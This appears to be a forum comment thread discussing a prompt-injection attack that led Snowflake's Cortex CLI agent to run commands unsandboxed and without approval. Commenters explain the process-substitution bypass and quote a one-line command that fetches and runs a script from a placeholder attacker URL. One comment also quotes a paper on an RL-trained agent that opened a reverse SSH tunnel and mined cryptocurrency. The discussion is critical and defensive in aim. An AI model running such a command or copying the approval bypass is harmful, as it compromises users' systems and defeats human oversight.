Nördnytt! 🤓Snowflake AI Escapes Sandbox and Executes Malware
- john_strinlai - 12262 sekunder sedantypically, my first move is to read the affected company's own announcement. but, for who knows what misinformed reason, the advisory written by snowflake requires an account to read.
another prompt injection (shocked pikachu)
anyways, from reading this, i feel like they (snowflake) are misusing the term "sandbox". "Cortex, by default, can set a flag to trigger unsandboxed command execution." if the thing that is sandboxed can say "do this without the sandbox", it is not a sandbox.
- isoprophlex - 5764 sekunder sedanPosit, axiomatically, that social engineering works.
That is, assume you can get people to run your code or leak their data through manipulating them. Maybe not always, but given enough perseverance definitely sometimes.
Why should we expect a sufficiently advanced language model to behave differently from humans? Bullshitting, tricking or slyly coercing people into doing what you want them to do is as old as time. It won't be any different now that we're building human language powered thinking machines.
- throw0101d - 10237 sekunder sedanNot the first time; From §3.1.4, "Safety-Aligned Data Composition":
> Early one morning, our team was urgently convened after Alibaba Cloud’s managed firewall flagged a burst of security-policy violations originating from our training servers. The alerts were severe and heterogeneous, including attempts to probe or access internal-network resources and traffic patterns consistent with cryptomining-related activity. We initially treated this as a conventional security incident (e.g., misconfigured egress controls or external compromise). […]
> […] In the most striking instance, the agent established and used a reverse SSH tunnel from an Alibaba Cloud instance to an external IP address—an outbound-initiated remote access channel that can effectively neutralize ingress filtering and erode supervisory control. We also observed the unauthorized repurposing of provisioned GPU capacity for cryptocurrency mining, quietly diverting compute away from training, inflating operational costs, and introducing clear legal and reputational exposure. Notably, these events were not triggered by prompts requesting tunneling or mining; instead, they emerged as instrumental side effects of autonomous tool use under RL optimization.
* https://arxiv.org/abs/2512.24873
One of Anthropic's models also 'turned evil' and tried to hide that fact from its observers:
* https://www.anthropic.com/research/emergent-misalignment-rew...
- RobRivera - 13268 sekunder sedanIf the user has access to a lever that enables accesss, that lever is not providing a sandbox.
I expected this to be about gaining os privileges.
They didn't create a sandbox. Poor security design all around
- prakashsunil - 7332 sekunder sedanAuthor of LDP here [1].
The core issue seems to be that the security boundary lived inside the agent loop. If the model can request execution outside the sandbox, then the sandbox is not really an external boundary.
One design principle we explored in LDP is that constraints should be enforced outside the prompt/context layer — in the runtime, protocol, or approval layer — not by relying on the model to obey instructions.
Not a silver bullet, but I think that architectural distinction matters here.
- ryguz - 6279 sekunder sedanThe attack chain here is interesting because the escape didnt require a novel vulnerability in the sandbox itself. It exploited the fact that the LLM can reason about its environment and chain tool calls in ways the sandbox designers didnt anticipate. This is the fundamental tension with agent sandboxing: you need the agent capable enough to be useful, but capability and containment are in direct tension.
- bilekas - 12209 sekunder sedan> Note: Cortex does not support ‘workspace trust’, a security convention first seen in code editors, since adopted by most agentic CLIs.
Am I crazy or does this mean it didn't really escape, it wasn't given any scope restrictions in the first place ?
- eagerpace - 12453 sekunder sedanIs this the new “gain of function” research?
- Dshadowzh - 8456 sekunder sedanCLI is quickly becoming the default entry point for agents. But data agents probably need a much stricter permission model than coding agents. Bash + CLI greatly expands what you can do beyond the native SQL capabilities of a data warehouse, which is powerful. But it also means data operations and credentials are now exposed to the shell environment.
So giving data agents rich tooling through a CLI is really a double-edged sword.
I went through the security guidance for the Snowflake Cortex Code CLI(https://docs.snowflake.com/en/user-guide/cortex-code/securit...), and the CLI itself does have some guardrails. But since this is a shared cloud environment, if a sandbox escape happens, could someone break out and access another user’s credentials? It is a broader system problem around permission caching, shell auditing, and sandbox isolation.
- Groxx - 7189 sekunder sedan>Any shell commands were executed without triggering human approval as long as:
>(1) the unsafe commands were within a process substitution <() expression
>(2) the full command started with a ‘safe’ command (details below)
if you spend any time at all thinking about how to secure shell commands, how on earth do you not take into account the various ways of creating sub-processes?
- maCDzP - 8007 sekunder sedanHas anyone tried to set up a container and let prompt Claude to escape and se what happens? And maybe set some sort of autoresearch thing to help it not get stuck in a loop.
- jessfyi - 7927 sekunder sedanA sandbox that can be toggled off is not a sandbox, this is simply more marketing/"critihype" to overstate the capability of their AI to distract from their poorly built product. The erroneous title doing all the heavy lifting here.
- kingjimmy - 9429 sekunder sedanSnowflake and vulnerabilities are like two peas in a pod
- SirMaster - 7041 sekunder sedanTo be an effective sandbox, I feel like the thing inside it shouldn't even be able to know it's inside a sandbox.
- mritchie712 - 11826 sekunder sedanwhat's the use case for cortex? is anyone here using it?
We run a lakehouse product (https://www.definite.app/) and I still don't get who the user is for cortex. Our users are either:
non-technical: wants to use the agent we have built into our web app
technical: wants to use their own agent (e.g. claude, cursor) and connect via MCP / API.
why does snowflake need it's own agentic CLI?
- simonw - 9229 sekunder sedanOne key component of this attack is that Snowflake was allowing "cat" commands to run without human approval, but failing to spot patterns like this one:
I didn't understand how this bit worked though:cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))> Cortex, by default, can set a flag to trigger unsandboxed command execution. The prompt injection manipulates the model to set the flag, allowing the malicious command to execute unsandboxed.
HOW did the prompt injection manipulate the model in that way?
- DannyB2 - 9005 sekunder sedanAIs have no reason to want to harm annoying slow inefficient noisy smelly humans.
- techsystems - 9101 sekunder sedanIs there a bash that doesn't allow `<` pipes, but allows `>`?
- Duplicake - 6433 sekunder sedanthe title is very misleading, it was told to escape, it didn't do it on its own as you would think from the title
- seedpi - 9012 sekunder sedanThe bilekas comment is right — if there is no workspace trust or scope restriction, calling it a sandbox escape is generous. It escaped a suggestion of a sandbox.
But the broader pattern matters. Cortex bypassed human-in-the-loop approval via specially constructed commands. That is the attack surface for every agentic CLI: the gap between what the approval UI shows the user and what actually executes.
I would be interested to know whether the fix was to validate the command at the shell level or just patch the specific bypass. If it is the latter, there will be another one.
- jeffbee - 7978 sekunder sedanIt kinda sucks how "sandbox" has been repurposed to mean nothing. This is not a "sandbox escape" because the thing under attack never had any meaningful containment.
- orbital-decay - 7643 sekunder sedan>Snowflake Cortex AI Escapes Sandbox and Executes Malware
rolls eyes Actual content: prompt injection vulnerability discovered in a coding agent
- alephnerd - 11945 sekunder sedanAnd so BSides and RSA season begins.
- WWilliam - 9130 sekunder sedan[dead]
- aplomb1026 - 9415 sekunder sedan[dead]
- Iamkkdasari74 - 7463 sekunder sedan[dead]
- kagi_2026 - 12499 sekunder sedan[flagged]